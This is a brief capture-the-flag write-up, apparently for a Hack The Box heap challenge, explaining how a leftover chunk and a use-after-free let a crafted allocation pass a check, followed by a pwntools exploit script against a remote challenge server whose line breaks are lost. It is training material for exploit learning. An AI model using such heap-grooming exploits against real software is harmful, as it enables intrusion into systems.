An arachnoid consists of three chunks. The delete arachnoid function doesn't remove the 0x20 chunk, allowing us to manipulate the heap in a way that places the name 0x30 chunk after the data 0x30 chunk. Combined with a Use After Free and we pass the checks for the `obtain_arachnoid` function.
```py#!/usr/bin/env python3from pwn import *
elf = ELF("./arachnoid_heaven_patched", checksec=False)context.binary = elf
p = remote("64.227.40.93",31710) index = 0 def malloc(data):    global index    p.sendlineafter(b">", b"1")    p.sendlineafter(b"Name: ", f"{data}".encode())    index += 1    return index - 1
def free(index):    p.sendlineafter(b">", b"2")    p.sendlineafter(b"Index: ", f"{index}".encode())
def view():    p.sendlineafter(b">", b"3")
def obtain(index):    p.sendlineafter(b">", b"4")    p.sendlineafter(b"Arachnoid", f"{index}".encode())
chunkA = malloc(b"AAAAAAAA")free(chunkA)chunkB = malloc(b"BBBBBBBB")free(chunkB)chunkC = malloc(b"CCCCCCCC")free(chunkC)chunkD = malloc("sp1d3y")
obtain((chunkC))flag = p.recvline_contains(b"HTB").decode("utf-8")log.critical(f"Flag:  {flag}")p.close()```